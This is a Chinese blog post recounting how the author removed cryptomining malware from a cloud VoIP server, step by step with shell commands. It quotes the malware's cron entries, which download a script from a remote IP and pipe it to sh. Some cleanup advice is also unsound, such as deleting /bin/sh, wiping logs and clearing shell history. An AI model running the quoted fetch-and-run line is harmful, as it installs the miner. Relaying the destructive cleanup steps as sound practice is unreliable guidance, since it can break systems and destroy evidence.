记一次服务器被挖矿程序占用的解决过程

公司有台做voip的服务器最近CPU总是跑满,这机器自从交给厂家搭好环境后基本就没怎么管它,于是进去查看进程,top了下(见下图)
记一次服务器被挖矿程序***的解决过程
这个叫wnTKYg的进程很诡异,已经把CPU吃光了,上网一查,原来是中了挖矿的马。(啊,我的天。这只是一个单核1G内存的阿里云主机)既然被***了,那就得干掉它,下面是解决过程:

1:第一步要先找到这个wnTKYg文件实体,对了还有一个叫ddg.2020的进程。

[root@alitest ~]$ find / -name wnTKYg
/tmp/wnTKYg
[root@alitest ~]$ find / -name ddg*
/tmp/ddg.2020

2:接着把这两个文件的可执行权限拿掉。

[root@alitest ~]$ cd /tmp
[root@alitest /tmp]$ chmod -x ddg.2020 wnTKYg

3:杀掉这该死的进程。

[root@alitest /tmp]$ ps -ef | grep -v grep | egrep 'wnTKYg|ddg' | awk '{print $2}' | xargs kill -9

4:清除无用的定时任务。

[root@alitest /tmp]$ crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

这是挖矿程序生成的定时任务,不清除掉待会进程又起来了。

[root@alitest /tmp]$ echo > /var/spool/cron/root

因为这台机器上没有做定时任务,所以就直接清除掉了,如果有其他在用的定时任务,不要这样哦。

5:删除挖矿程序。

[root@alitest /tmp]$ rm -f ddg.2020 wnTKYg

6:清除.ssh/下的公钥文件。

[root@alitest ~/.ssh]$ cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUGqxNBCvqd+VNZTcSjyV3bs67sqwXSV+XztaY9QN/DDfeXEfWztdaXPbJvmLE34G
.........
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxV
.................

这台机器并没有上传过公钥文件,所以这就是***者留下的咯,删掉删掉。

[root@alitest ~/.ssh]$ rm -f authorized_keys

至此,***就已经清理完毕了。

小结:

在网上查了一下,发现大部分挖矿***都发生在redis上,而我这台服务器并没有部署redis,而是当时厂家给装的一套voip环境,因此我怀疑是voip软件的漏洞导致了此次事件,之后再联系厂家看看。通过这次服务器被***的案例,再一次印证了安全的重要性,安全无小事,继续努力吧。

继上面的挖矿木马解决后,很有自豪感,但是在今天2018-09-09收到阿里云的态势感知的通知又有挖矿病毒了,于是解决。。。

2018-09-09周五 阿里云态势感知通知 检测到服务器有异常文件下载,当时没太注意,执行下面操作解决问题(简单针对于minerd处理)

1、执行 top -i命令查看cpu 使用总过高,使用top -l 查看到是minerd作祟,

 

2、果断ps -ef | grep ‘minerd’ 查看pid,

3、使用kill -9  程序的pid 杀死掉,

4、到 cd  /tmp/下查看是否存有临时文件,如果有rm -rf 删除,没有就算了

5、crontab -l 查看是否有定时,有的话到cd /etc/crontab  查看是否有陌生的定时任务,如果有也是直接删除,

6、然后top 再查看,成功了,然后查阅了资料,说redis 漏洞,果断修改了ssh密码,修改redis的端口,修改了登录数据库密码,一切看起来就是这么简单

xx.xx.xxx.xx(ixxxxx...)出现了可疑安全事件:Linux异常文件下载 ,建议您立即登录云盾-态势感知控制台查看详情和处理。

于是登录服务器查看。我嘞靠,输入一条命令ls 反应比乌龟还慢,然后每条命令反应都在3秒才能出结果,靠,3秒男人,我可受不了,于是从花了一天时间才解决掉,废话够多了,看下面,

1、命令 top 查看,我去,满满的cpu,但是怎么看不到那个进程占用了CPU呢

2、于是又 使用crontab -l 查看,赤裸裸定时任务,这又是什么鬼,矿机不是解决了吗?这那来的任务,

  

清除无用的定时任务。

这是挖矿程序生成的定时任务,不清除掉待会进程又起来了。

[root@alitest /tmp]$ echo > /var/spool/cron/root
[root@alitest /tmp]$ echo > /var/spool/cron/crontabs/root
[root@alitest /tmp]$ echo > /etc/cron.d/root

因为这台机器上没有做定时任务,所以就直接清除掉了,如果有其他在用的定时任务,不要这样哦。

4、cd /tmp/ 下,三个莫名其妙出现的文件,果断 rm -rf 文件名删除

注意:在/tmp/下有一个文件名字是 Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)> 

删除这个文件的时候报错:-bash: syntax error near unexpected token `('

百度之后要这样删除  rm -rf Aegis-\<Guid\(5A2C30A2-A87D-490A-9281-6765EDAD7CBA\)\> 

在每个括号前面加上\,因为在linux5.0之后,是不能带有括号的,这个时候就需要转译了

 5、ls -al 看下,果然还有隐藏文件,通通删除

6、去cd /etc/crontab ,删除定时任务,然后top -i,得到如下,cup依然张立在哪里,懵逼

 

7、top -b 多了一个python,干啥的不知道,查看删除进程python

8、最后去查看日志,如下顺着这个日志一步一步走下去,

9、cd  /etc,下rm -rf ld.so.preload

10、cd /usr/local/lib下 rm -rf libjdk.so

11、再去cd /etc/crontab ,查看有没有定时任务,有删除,

12、去cd /tmp下,有也统统删除,

13、top -b 居然有3个资源kworkerrds占据cpu 33%,终于找到你,尼玛,还好没放弃,由于当时找到目标,太过激动没截图,因为已经下午5点了,花了大量时间找原因,看日志,查资料,

14、于是果断ps -ef | grep kworkerds,赤裸裸就是你

15、kill -9 pid ,history -c清除记录(下面解释)

16,top ,终于下来了,心累呀

17、之前花了大量时间查看原因,原来是黑客通过在我日志里面留下了程序,我之前清除了minerd,然后又通过日志里面的程序进行了一个脚本任务,通过这个脚本获取操作记录,(为什么history -c清除记录),然后再次侵入我的服务器,现在是21:00,心累,

18、对了,还有如下操作,这才完美收官。cd /var/log

19、可疑的日志通通删除,

20、记得修改所有密码,记得history -c

上面的方法如果没有效果可以结合下面的方法一起使用

A:先把定时任务删除掉

rm -rf /etc/cron.d/root

rm -rf /var/spool/cron/crontabs

rm -rf /bin/sh /var/spool/cron/root

B:删掉重启系统后执行脚本

rm -rf /bin/httpdns

C:删掉挖矿执行脚本

 rm -rf /tmp/kworkerds

D: 删除修top显示命令的脚本 (导致top查询不处理此挖矿进程)

rm -rf /usr/local/lib/libntp.so

E:删除python执行文件

rm -rf /tmp/.tmpa

F: 再用Top命令,就可以找出此耗cpu进程

7:kill 掉此进程

9:修改redis 密码,最好修改bind 为127.0.0.1

猜你喜欢

转载自blog.csdn.net/dabao87/article/details/81302991